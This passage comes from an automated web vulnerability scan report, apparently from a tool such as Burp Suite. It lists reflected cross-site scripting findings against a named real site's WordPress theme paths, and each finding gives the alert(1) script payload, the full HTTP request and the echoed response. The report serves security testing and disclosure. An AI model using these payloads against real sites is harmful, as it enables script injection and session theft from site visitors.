Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:52 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24869

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-contente6222\"><script>alert(1)</script>e68be224d68/themes/powermta1/images/tag-line.jpg" />
...[SNIP]...

2.102. http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/tag-line.jpg

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 535dc"><script>alert(1)</script>7440fafeeb1 was submitted in the REST URL parameter 2. This input was echoed as 535dc\"><script>alert(1)</script>7440fafeeb1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes535dc"><script>alert(1)</script>7440fafeeb1/powermta1/images/tag-line.jpg HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:59 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:39:00 GMT
Content-Length: 24869
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes535dc\"><script>alert(1)</script>7440fafeeb1/powermta1/images/tag-line.jpg" />
...[SNIP]...

2.103. http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/tag-line.jpg

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aef24"><script>alert(1)</script>c93d9ec6c5b was submitted in the REST URL parameter 3. This input was echoed as aef24\"><script>alert(1)</script>c93d9ec6c5b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1aef24"><script>alert(1)</script>c93d9ec6c5b/images/tag-line.jpg HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:39:04 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:39:04 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24869

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1aef24\"><script>alert(1)</script>c93d9ec6c5b/images/tag-line.jpg" />
...[SNIP]...

2.104. http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/tag-line.jpg

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ca44"><script>alert(1)</script>012515b499b was submitted in the REST URL parameter 4. This input was echoed as 3ca44\"><script>alert(1)</script>012515b499b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images3ca44"><script>alert(1)</script>012515b499b/tag-line.jpg HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:39:08 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:39:09 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24869

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images3ca44\"><script>alert(1)</script>012515b499b/tag-line.jpg" />
...[SNIP]...

2.105. http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/tag-line.jpg

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2d697"><script>alert(1)</script>30b67acaf6c was submitted in the REST URL parameter 5. This input was echoed as 2d697\"><script>alert(1)</script>30b67acaf6c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/tag-line.jpg2d697"><script>alert(1)</script>30b67acaf6c HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:39:13 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:39:13 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24869

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg2d697\"><script>alert(1)</script>30b67acaf6c" />
...[SNIP]...

2.106. http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/tag-line.jpg

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d828"><script>alert(1)</script>da0fd449c73 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 4d828\"><script>alert(1)</script>da0fd449c73 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/tag-line.jpg?4d828"><script>alert(1)</script>da0fd449c73=1 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:05 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:05 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24872

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg?4d828\"><script>alert(1)</script>da0fd449c73=1" />
...[SNIP]...

2.107. http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/twit-logo.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8fc7c"><script>alert(1)</script>87f91fffb0b was submitted in the REST URL parameter 1. This input was echoed as 8fc7c\"><script>alert(1)</script>87f91fffb0b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content8fc7c"><script>alert(1)</script>87f91fffb0b/themes/powermta1/images/twit-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:35 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:36 GMT
Content-Length: 24870
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content8fc7c\"><script>alert(1)</script>87f91fffb0b/themes/powermta1/images/twit-logo.gif" />
...[SNIP]...

2.108. http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/twit-logo.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f15fe"><script>alert(1)</script>5875b7ebf80 was submitted in the REST URL parameter 2. This input was echoed as f15fe\"><script>alert(1)</script>5875b7ebf80 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themesf15fe"><script>alert(1)</script>5875b7ebf80/powermta1/images/twit-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:43 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:43 GMT
Content-Length: 24870
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themesf15fe\"><script>alert(1)</script>5875b7ebf80/powermta1/images/twit-logo.gif" />
...[SNIP]...

2.109. http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/twit-logo.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff2d0"><script>alert(1)</script>87fe02c454b was submitted in the REST URL parameter 3. This input was echoed as ff2d0\"><script>alert(1)</script>87fe02c454b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1ff2d0"><script>alert(1)</script>87fe02c454b/images/twit-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:57 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:57 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1ff2d0\"><script>alert(1)</script>87fe02c454b/images/twit-logo.gif" />
...[SNIP]...

2.110. http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/twit-logo.gif

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef938"><script>alert(1)</script>0c228aca5c9 was submitted in the REST URL parameter 4. This input was echoed as ef938\"><script>alert(1)</script>0c228aca5c9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/imagesef938"><script>alert(1)</script>0c228aca5c9/twit-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:19 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:20 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/imagesef938\"><script>alert(1)</script>0c228aca5c9/twit-logo.gif" />
...[SNIP]...

2.111. http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/twit-logo.gif

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a00e"><script>alert(1)</script>434e9c13565 was submitted in the REST URL parameter 5. This input was echoed as 5a00e\"><script>alert(1)</script>434e9c13565 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/twit-logo.gif5a00e"><script>alert(1)</script>434e9c13565 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:24 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:24 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif5a00e\"><script>alert(1)</script>434e9c13565" />
...[SNIP]...

2.112. http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/twit-logo.gif

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20ac0"><script>alert(1)</script>7f21161b3c6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 20ac0\"><script>alert(1)</script>7f21161b3c6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/twit-logo.gif?20ac0"><script>alert(1)</script>7f21161b3c6=1 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:34 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24873

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif?20ac0\"><script>alert(1)</script>7f21161b3c6=1" />
...[SNIP]...

2.113. http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3761b"><script>alert(1)</script>6f032161e30 was submitted in the REST URL parameter 1. This input was echoed as 3761b\"><script>alert(1)</script>6f032161e30 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content3761b"><script>alert(1)</script>6f032161e30/themes/powermta1/js/coda-slider.1.1.1.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=87a008b79fd2191ac730b69ff5b6f63a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:11 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:11 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24878

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content3761b\"><script>alert(1)</script>6f032161e30/themes/powermta1/js/coda-slider.1.1.1.pack.js" />
...[SNIP]...

2.114. http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f584d"><script>alert(1)</script>87dfa82034a was submitted in the REST URL parameter 2. This input was echoed as f584d\"><script>alert(1)</script>87dfa82034a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themesf584d"><script>alert(1)</script>87dfa82034a/powermta1/js/coda-slider.1.1.1.pack.js HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=87a008b79fd2191ac730b69ff5b6f63a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:12 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:13 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24878

